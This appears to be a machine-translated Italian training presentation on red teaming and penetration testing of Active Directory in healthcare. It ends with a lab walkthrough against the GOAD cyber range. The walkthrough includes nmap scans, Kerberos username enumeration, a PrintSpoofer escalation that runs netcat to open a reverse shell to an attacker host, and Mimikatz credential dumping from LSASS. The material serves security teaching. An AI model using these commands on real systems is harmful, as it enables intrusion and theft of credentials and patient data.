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Il ruolo dei test di penetrazione e 
del Red Teaming nella sicurezza 
sanitaria

● I test di penetrazione e il red teaming sono 
essenziali per identificare e ridurre le 
vulnerabilità della sicurezza nei sistemi 
sanitari.

● Con l'aumento delle minacce informatiche, questi
Le misure proattive sono fondamentali per 
proteggere i dati sensibili dei pazienti e le operazioni 
sanitarie.

● Gli attacchi simulati aiutano la sanità
le organizzazioni si preparano e si difendono
contro le minacce informatiche del mondo reale.
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Uso di Active Directory nel 
settore sanitario

● Active Directory (AD) gestisce le identità, i controlli di accesso e le policy in tutto il mondo.
diversi sistemi informatici sanitari.

● AD si integra con i sistemi sanitari più importanti, come le cartelle cliniche 
elettroniche (EHR), i sistemi di gestione dei pazienti e le piattaforme di 
telemedicina.

● Garantisce operazioni snelle e sicure, facilitando la conformità a
le normative sanitarie e gli standard di protezione dei dati.
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Uso di Active Directory nel settore 
sanitario

● Le vulnerabilità AD più comuni includono gli attacchi Kerberoasting, Pass-the-Ticket e Golden Ticket.

● Queste vulnerabilità possono portare all'accesso non autorizzato ai sistemi EHR, all'interruzione di operazioni 
sanitarie critiche e alla compromissione della riservatezza dei pazienti.

● Impatto sul mondo reale: L'accesso non autorizzato ai dati dei pazienti può portare a furti di identità, 
frodi finanziarie e responsabilità legali.

● Esempi di implicazioni reali delle vulnerabilità dell'AD in scenari sanitari:

● Accesso non autorizzato alle cartelle cliniche elettroniche (EHR):

o Scenario: I criminali informatici sfruttano una vulnerabilità di AD come Kerberoasting per ottenere l'indirizzo di posta elettronica.
credenziali del personale sanitario che ha accesso ai sistemi EHR.

o Impatto: L'accesso non autorizzato può portare all'esposizione di informazioni sensibili sui pazienti, 
della loro storia medica e dei loro dati personali, con conseguenti violazioni della riservatezza dei 
pazienti, potenziali ricatti e furti di identità, oltre a ripercussioni legali per la struttura sanitaria.

● Compromissione di apparecchiature mediche remote:

o Scenario: Un attacco Golden Ticket fornisce agli aggressori credenziali di accesso illimitate che 
consentono raggiungere dispositivi medici in rete, quelli utilizzati per la telemedicina o il 
monitoraggio remoto.

o Impatto: La compromissione di questi dispositivi potrebbe portare a diagnosi errate, interferenze con le 
procedure terapeutiche o veri e propri guasti del dispositivo, mettendo a rischio la salute del paziente e 
portando potenzialmente a situazioni di pericolo di vita.
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Test di penetrazione per i sistemi 
sanitari

Obiettivi:

● Valutare la posizione di sicurezza dei sistemi integrati con AD.

● Sviluppare metodologie adatte agli ambienti sanitari per individuare le 
configurazioni errate del sistema e i difetti del software.

● Aiutare le organizzazioni sanitarie a comprendere la loro esposizione 
alle minacce informatiche, consentendo miglioramenti proattivi.
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Segnalazione e utilizzo dei risultati

● Reporting dettagliato dei test di penetrazione per 
documentare le vulnerabilità, i sistemi sfruttati e le 
potenziali violazioni dei dati.

● Utilizzo dei rapporti per perfezionare le strategie di 
rilevamento e risposta nell'ambito delle operazioni sanitarie.

● I report dei test di penetrazione consentono di stabilire le priorità 
degli aggiornamenti della sicurezza e della formazione del 
personale per ridurre le minacce.
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Minacce ad Active Directory: 
MITRE ATT&CK
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MITRE ATT&CK: Fonti di dati
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MITRE ATT&CK: Richiesta di credenziali 
per Active Directory
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MITRE ATT&CK: Accesso agli oggetti di 
Active Directory
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MITRE ATT&CK: Creazione e 
cancellazione di oggetti di Active 
Directory
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MITRE ATT&CK: Modifica degli oggetti di 
Active Directory
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MITRE ATT&CK: ricerca di attributi e 
descrizioni di attacchi specifici.
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MITRE ATT&CK: ricerca di attributi e 
descrizioni di attacchi specifici.
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MITRE ATT&CK: ricerca di attributi e 
descrizioni di attacchi specifici.



Red Teaming

o1. Che cos'è il Red Teaming

o2.   Red Teaming vs Pentesting

o3. Ciclo di vita dell'attacco

o4. MITRE ATT&CK

o5.   Introduzione al rosso atomico
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Che cos'è il Red Teaming

Operazioni della squadra rossa

o Scopo delle operazioni Red Team: Simulare attacchi a tutto campo per testare 
la sicurezza dell'infrastruttura digitale, dei dipendenti, delle applicazioni e della 
sicurezza fisica.

o Simulazione di avversari reali: Replicare le tecniche utilizzate dagli avversari reali 
per scoprire le vulnerabilità e valutare le capacità difensive dell'azienda.

o Ciclo di vita completo dell'attacco: Le operazioni coprono l'intero ciclo di vita 
di un attacco, fornendo una valutazione completa della preparazione alla 
sicurezza.

o Rivelazione delle vulnerabilità: Identifica molteplici vettori di attacco e 
punti deboli che non vengono tipicamente riscontrati nei test di 
penetrazione standard.



Che cos'è il Red Teaming

Impatto e integrazione con il Blue 
Team
o Risultati attuabili: I risultati del Red Team vengono utilizzati per migliorare le 

misure di sicurezza e prepararsi a potenziali minacce.

o Collaborazione con il Blue Team:

o Ruolo del Blue Team: Professionisti della sicurezza incaricati dell'identificazione delle 
vulnerabilità, della correzione e della verifica dell'efficacia.

o Utilizzo dei risultati: Sviluppare firme per le minacce informatiche, implementare protezioni e
migliorare la sicurezza delle infrastrutture.

o Addestramento e tempra:

o Formare i dipendenti a resistere all'ingegneria sociale.

o Rettificare le vulnerabilità identificate durante le operazioni.

o Emulazione APT: I Red Team emulano le tecniche delle Advanced Persistent Threats per 
testare i meccanismi di difesa a lungo termine.
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Red Teaming vs Pentesting
Pentesting Red Teaming

Ambito definito Nessun ambito definito

Utilizzato per identificare e sfruttare le vulnerabilità Emula il comportamento dell'avversario

Fornisce un rapporto sui risultati che vengono di 
conseguenza utilizzati dalle aziende per 
applicare patch, rinforzare e proteggere le loro 
infrastrutture.

Utilizzato per valutare la resilienza di 
un'organizzazione contro gli attacchi degli 
avversari.

Prevenzione anziché investigazione. I test di 
penetrazione sono utili per identificare le 
vulnerabilità e le minacce, ma non forniscono 
risultati utilizzabili per il rilevamento proattivo 
delle minacce in futuro.

Fornisce risultati utilizzabili per il rilevamento.
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Ciclo di vita dell'attacco
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Ciclo di vita dell'attacco - Ricognizione iniziale
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Ciclo di vita dell'attacco 
Compromissione iniziale
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Ciclo di vita dell'attacco: stabilire 
un punto d'appoggio
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Ciclo di vita dell'attacco - 
Escalation dei privilegi
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Ciclo di vita dell'attacco 
Ricognizione interna
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Ciclo di vita dell'attacco - 
Movimento laterale
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Ciclo di vita dell'attacco - 
Mantenimento della presenza
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Ciclo di vita dell'attacco - 
Missione completata
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Ciclo di vita dell'attacco-APT32
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Active Directory Cyber 
Range-GOAD
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Struttura AD

AD cyber range è in realtà composto da cinque macchine virtuali:

• kingslanding: DC01 in esecuzione su Windows Server 2019 (con 
windefender disabilitato per impostazione predefinita)

• winterfell: DC02 in esecuzione su Windows Server 2019 (con 
windefender disabilitato per impostazione predefinita)

• castelblack: SRV02 in esecuzione su Windows Server 2019 (con 
windefender disabilitato per impostazione predefinita)

• meereen: DC03 in esecuzione su Windows Server 2016 (con 
windefender disabilitato di default)

•braavos: SRV03 in esecuzione su Windows Server 2016 (con
windefender disattivato per impostazione predefinita)
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Ambiente AD - GOAD 
personalizzato
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Ciclo di vita dell'attacco su GOAD

• Tattiche di social engineering utilizzate per compromettere un account VPN

• Ricognizione dell'utente e dell'host per raccogliere informazioni

• Distribuzione di una webshell sul server Castelblack per il 
controllo remoto

• Creazione di condivisioni di rete furtive per la distribuzione di malware

• Escalation dei privilegi attraverso la vulnerabilità di PrintSpoofer

• Estrazione di memoria con Mimikatz per acquisire credenziali sensibili
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Ciclo di vita dell'attacco su GOAD.
Ricognizione iniziale

nmap -Pn -p- -sC -sV -oA full_scan_goad
Rapporto di scansione Nmap per 
192.168.56.10 L'host è attivo (latenza 
0,0068s).
Non mostrato: 65513 porte tcp filtrate (senza risposta) 
PORT STATE SERVICE VERSION
53/tcp dominio aperto Simple DNS Plus 80/tcp 
http aperto Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| metodi http:
|Metodi potenzialmente rischiosi: TRACCIA
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (ora del server: 2023-05-13 13:43:24Z) 135/tcp 
open msrpc Microsoft Windows RPC
139/tcp aperto netbios-ssn Microsoft Windows netbios-ssn
389/tcp aprire ldap Microsoft Windows Active Directory LDAP (dominio: sevenkingdoms.local0., sito: Default-First-Site-Name) 445/tcp 
open microsoft-ds?
464/tcp aprire kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Default-First-Site-Name) 3268/tcp open 
ldap Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Nome del sito predefinito) 3269/tcp aperto ssl/ldap 
Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Nome del sito predefinito) 3389/tcp aperto ms-wbt-server 
Microsoft Terminal Services
5986/tcp aperto ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp 
aperto mc-nmf .NET Message Framing
49667/tcp aprire msrpc Microsoft Windows RPC 
49670/tcp aprire msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp aprire msrpc Microsoft Windows RPC 
49688/tcp aprire msrpc Microsoft Windows RPC 
49725/tcp aprire msrpc    Microsoft Windows RPC
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Ciclo di vita dell'attacco su GOAD 
- Ricognizione iniziale

nmap -Pn -p- -sC -sV -oA full_scan_goad

Rapporto di scansione Nmap per 
192.168.56.11 L'host è attivo (latenza 
0,0076s).
Non mostrato: 65517 porte tcp filtrate (senza risposta) 
PORTO STATO SERVIZIO VERSIONE
53/tcp dominio aperto DNS semplice Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (ora del server: 2023-05-13 13:43:31Z) 135/tcp 
open msrpc Microsoft Windows RPC
139/tcp aperto netbios-ssn Microsoft Windows netbios-ssn
389/tcp aperto ldap Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: 
Default-First-Site-Name)
445/tcp aprire microsoft-ds? 464/tcp 
aprire kpasswd5?
636/tcp aperto tcpwrapped
3268/tcp aperto ldap Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: 
Default-First-Site-Name)
3269/tcp aperto tcpwrapped
3389/tcp open ms-wbt-server Servizi terminal Microsoft
5986/tcp aperto ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
9389/tcp aprire mc-nmf Cornice di messaggi .NET
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp 
open msrpc Microsoft Windows RPC
49676/tcp aprire msrpc Microsoft Windows RPC 
49677/tcp aprire msrpc Microsoft Windows RPC 
49715/tcp aprire msrpc Microsoft Windows RPC
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Ciclo di vita dell'attacco su GOAD 
- Ricognizione iniziale

nmap -Pn -p- -sC -sV -oA full_scan_goad

Rapporto di scansione Nmap per 
192.168.56.12 L'host è attivo (latenza 
0,011s).
Non mostrato: 65513 porte tcp filtrate (senza risposta) 
PORTO STATO SERVIZIO VERSIONE
53/tcp dominio aperto DNS semplice Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (ora del server: 2023-05-13 13:43:36Z) 135/tcp 
open msrpc Microsoft Windows RPC
139/tcp aperto netbios-ssn Microsoft Windows netbios-ssn
389/tcp   open ldap Microsoft Windows Active Directory LDAP (dominio: essos.local, sito: Default-
Nome-Sito)
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (gruppo di lavoro: ESSOS) 464/tcp 
open kpasswd5?
593/tcp   open ncacn_http Microsoft Windows RPC su HTTP 1.0
636/tcp aperto ssl/ldap Microsoft Windows Active Directory LDAP (Dominio: essos.local, Sito: Default- Nome-
Sito)
3268/tcp aperto ldap Microsoft Windows Active Directory LDAP (dominio: essos.local, sito: Default- First-Site-
Name)
3269/tcp aperto ssl/ldap Microsoft Windows Active Directory LDAP (dominio: essos.local, sito: default-primo-sito-
nome)
3389/tcp open ms-wbt-server Servizi terminal Microsoft
5985/tcp aprire http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
5986/tcp aperto ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
9389/tcp aperto mc-nmf Cornice di messaggi .NET
49666/tcp aprire msrpc Microsoft Windows RPC 
49667/tcp aprire msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp 
open msrpc Microsoft Windows RPC
49672/tcp aprire msrpc Microsoft Windows RPC 
49686/tcp aprire msrpc Microsoft Windows RPC 
55372/tcp aprire msrpc Microsoft Windows RPC
Info sul servizio: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows
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Ciclo di vita dell'attacco su GOAD 
- Ricognizione iniziale

nmap -Pn -p- -sC -sV -oA full_scan_goad

Rapporto di scansione Nmap per 
192.168.56.22 L'host è attivo (latenza 
0,013s).
Non mostrato: 65528 porte tcp filtrate (senza risposta) 
PORTO STATO SERVIZIO VERSIONE
80/tcp aprire http Microsoft IIS httpd 10.0
|_http-server-header:   Microsoft-IIS/10.0
| metodi http:
|Metodi potenzialmente rischiosi: TRACCIA
|_http-title: Il sito non ha un titolo (text/html).
135/tcp aperto msrpc Microsoft Windows RPC 
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp 
open microsoft-ds?
3389/tcp open ms-wbt-server Servizi terminal Microsoft
5986/tcp aperto ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
49669/tcp aprire msrpc Microsoft Windows RPC
Informazioni sul servizio: OS: Windows; CPE: cpe:/o:microsoft:windows

Rapporto di scansione Nmap per 
192.168.56.23 L'host è attivo (latenza 
0,0070s).
Non mostrato: 65525 porte tcp filtrate (senza risposta) 
PORTO STATO SERVIZIO VERSIONE
80/tcp aprire http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| metodi http:
|Metodi potenzialmente rischiosi: TRACCIA
|_http-server-header:   Microsoft-IIS/10.0
135/tcp aperto msrpc Microsoft Windows RPC 
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp aperto microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds 1433/tcp 
aperto ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM 3389/tcp 
aperto ms-wbt-server Microsoft Terminal Services
5985/tcp aprire http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
5986/tcp aprire ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
49668/tcp aprire msrpc Microsoft Windows RPC
49779/tcp aperto msrpc Microsoft Windows RPC
Informazioni sul servizio: Sistemi operativi: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
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Ciclo di vita dell'attacco su GOAD 
- Ricognizione iniziale

Enumerazione dei nomi utente tramite Kerberos:
nmap -T2 -p 88 --script=krb5-enum-users --script-args ="krb5- 
enum-users.realm ='north.sevenkingdoms.local', 
userdb=got_users.txt" 192.168.56.11
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Ciclo di vita dell'attacco su 
GOAD - Stabilire il punto 
d'appoggio - Compromissione 
iniziale - Server IIS

Aprire la condivisione di rete sulla macchina attaccante e connettersi dall'host vittima
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Ciclo di vita dell'attacco su 
GOAD - Stabilire il punto 
d'appoggio - Compromissione 
iniziale - Server IIS

Aprire la condivisione di rete sulla macchina attaccante e connettersi dall'host vittima
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Ciclo di vita dell'attacco su 
GOAD - Stabilire il punto 
d'appoggio - Compromissione 
iniziale - Server IIS

Strumenti di attacco nella condivisione di rete come 
winpeas, printspoofer ecc.
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Ciclo di vita dell'attacco su 
GOAD - Stabilire il punto 
d'appoggio - Compromissione 
iniziale - Server IIS

Escalation dei privilegi locali 
copia X:\nc.exe C:\tmp\nc.exe 
rlwrap nc -lvnp 1337
X:\PrintSpoofer.exe -c "c:\tmp\nc.exe 10.0.8.2 1337 -e cmd"
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Ciclo di vita dell'attacco su GOAD - 
Stabilire il punto d'appoggio - 
Escalation dei privilegi

Estrarre il dump della memoria del processo LSASS 
e utilizzare Mimikatz direttamente sull'host.
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Ciclo di vita dell'attacco su GOAD - 
Stabilire il punto d'appoggio - 
Escalation dei privilegi

net   use   Q: \live.sysinternals\tools

net   use   Q: \live.sysinternals\tools
Estrarre la memoria dmp e ottenere le password offline.

In alternativa, utilizzare la condivisione dell'utente 
System sulla macchina attaccante ed eseguire mimikatz 
direttamente sull'host della vittima.
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Post-sfruttamento - Ricognizione 
interna: Bloodhound
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MITRE ATT&CK e l'esplorazione 
della squadra rossa atomica



Grazie per 
l'attenzione

Presentazione a cura di:

Christos Grigoriadis (Punto 
focale)


